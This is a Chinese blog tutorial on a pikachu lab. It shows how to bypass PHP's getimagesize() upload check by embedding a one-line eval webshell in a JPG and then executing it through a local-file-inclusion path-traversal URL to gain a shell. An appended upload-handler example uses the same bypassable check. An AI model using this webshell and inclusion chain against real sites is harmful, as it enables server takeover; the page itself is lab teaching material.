渗透测试-文件上传之getimagesize函数绕过

文件上传之getimagesize函数绕过

前言

一、什么是getimagesize函数

getimagegesize()函数用于获取图像代销及相关信息,成功返回一个数组,失败则返回一个错误信息,总之是一个判断图片大小和类型的一个函数,也避免了直接更改后缀名的绕过。

二、文件上传之getimagesize函数绕过

1. getimagesize函数绕过

我们先进行pikachu中的练习,打开代码审计看看
在这里插入图片描述
这里进行实验
在这里插入图片描述
只允许上传图片,而且我将后缀名.php改为.png,但是图片打不开。
我们将一句话木马php和png文件进行合并试一下,有两种方法可以试一下
第一种可以用cmd进行修改,执行命令
copy /b test.jpg+test.php ok.jpg
但是上传的时候报错了,可能文件大小不支持
在这里插入图片描述
所以我们这里进行工具,合成新图片上传
在这里插入图片描述
我们使用这个软件
只需将jpg图片放进去就会进行合成,只能输入jpg图片哦
在这里插入图片描述
输入一句话木马,点击ok,这时图片就插入一句话木马了

<?php @eval($_POST['chopper']); ?>

在这里插入图片描述
我们打开图片发现已经注入了,这时我们进行上传图片
在这里插入图片描述
图片上传成功
我们获得图片路径
uploads/2022/04/25/9173926266b8737e383119814519.jpg
下一步就进行打开获得shell的步骤了

2. 通过文件包含漏洞解析获得webshell

但是我们合成的只是jpg图片,在网站中是无法打开的
我们需要转换为php文件才可以打开,这里我们想到两种方法,一种是解析漏洞,另一种是文件包含漏洞
这里我们使用文件包含漏洞进行解析,来获取shell
首先我们找一个存在文件包含漏洞的平台
我们在pikachu中找一个实验,点击上传文件后,复制网址就行修改就可以了
在这里插入图片描述
http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
我们只需要将file1.php修改为我们当前图片的路径就行了

找file1.php文件的位置,找当前的目录,往前推一直找到unsafeupload的目录
…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg

这是我们file1.php文件的当前路径
D:\phpStudy\WWW\pikachu\vul\fileinclude\include\file1.php

回两级回到文件上传的位置
在这里插入图片描述
进行修改,结果为这个路径
http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg&submit=%E6%8F%90%E4%BA%A4

我们将路径进行打开看一下,是否可以打开
在这里插入图片描述
发现打得开,文件修改成功。
这时文件是php文件,我们可以打开蚁剑进行连接获取shell,
输入网址和密码
在这里插入图片描述
成功获取shell,实验结束。

总结

本次实验是对文件上传漏洞绕过方法的补充,引入了getimagesize函数的绕过方法,结合了图片合成木马技术,文件包含漏洞的知识方法进行绕过,从而获取shell的过程。

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
要在HTML页面中实现文件上传,需要使用HTML表单和服务器端脚本。以下是一个简单的示例: HTML代码: ``` <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="上传文件" name="submit"> </form> ``` 解释: - `action` 属性指定表单数据提交到的服务器端脚本的URL。 - `method` 属性指定HTTP请求的方法。在文件上传中,必须使用POST方法。 - `enctype` 属性指定表单数据编码的类型。在文件上传中,必须使用 `multipart/form-data`。 在表单中包含一个 `input` 元素,类型为 `file`,它允许用户选择一个文件进行上传。文件选择后,表单提交时,文件将作为表单数据的一部分发送到服务器。文件数据可通过服务器端脚本进行处理。 服务器端脚本(示例中为PHP): ``` <?php $target_dir = "uploads/"; // 上传文件保存的目录 $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); // 上传文件的完整路径 $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // 获取上传文件的扩展名 // 检查文件是否为真正的文件类型 if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "文件是一个" . $check["mime"] . "类型的文件。"; $uploadOk = 1; } else { echo "文件不是一个图片文件。"; $uploadOk = 0; } } // 检查文件是否已经存在 if (file_exists($target_file)) { echo "文件已经存在。"; $uploadOk = 0; } // 检查文件大小 if ($_FILES["fileToUpload"]["size"] > 500000) { echo "文件太大。"; $uploadOk = 0; } // 允许上传的文件类型 if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "只允许上传 JPG, JPEG, PNG 和 GIF 文件。"; $uploadOk = 0; } // 检查上传过程中是否发生了错误 if ($uploadOk == 0) { echo "文件没有成功上传。"; // 如果一切正常,将文件从临时目录移动到目标目录 } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "文件". basename( $_FILES["fileToUpload"]["name"]). "已经成功上传。"; } else { echo "上传过程中发生了错误。"; } } ?> ``` 解释: - `basename($_FILES["fileToUpload"]["name"])` 获取上传文件的文件名。 - `strtolower(pathinfo($target_file,PATHINFO_EXTENSION))` 获取上传文件的扩展名。 - `move_uploaded_file()` 函数将上传的文件从临时目录移动到目标目录。 - 代码中的其他部分用于验证上传文件的大小、类型和是否已经存在。 以上是一个简单的文件上传示例,可以根据自己的需求进行修改和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值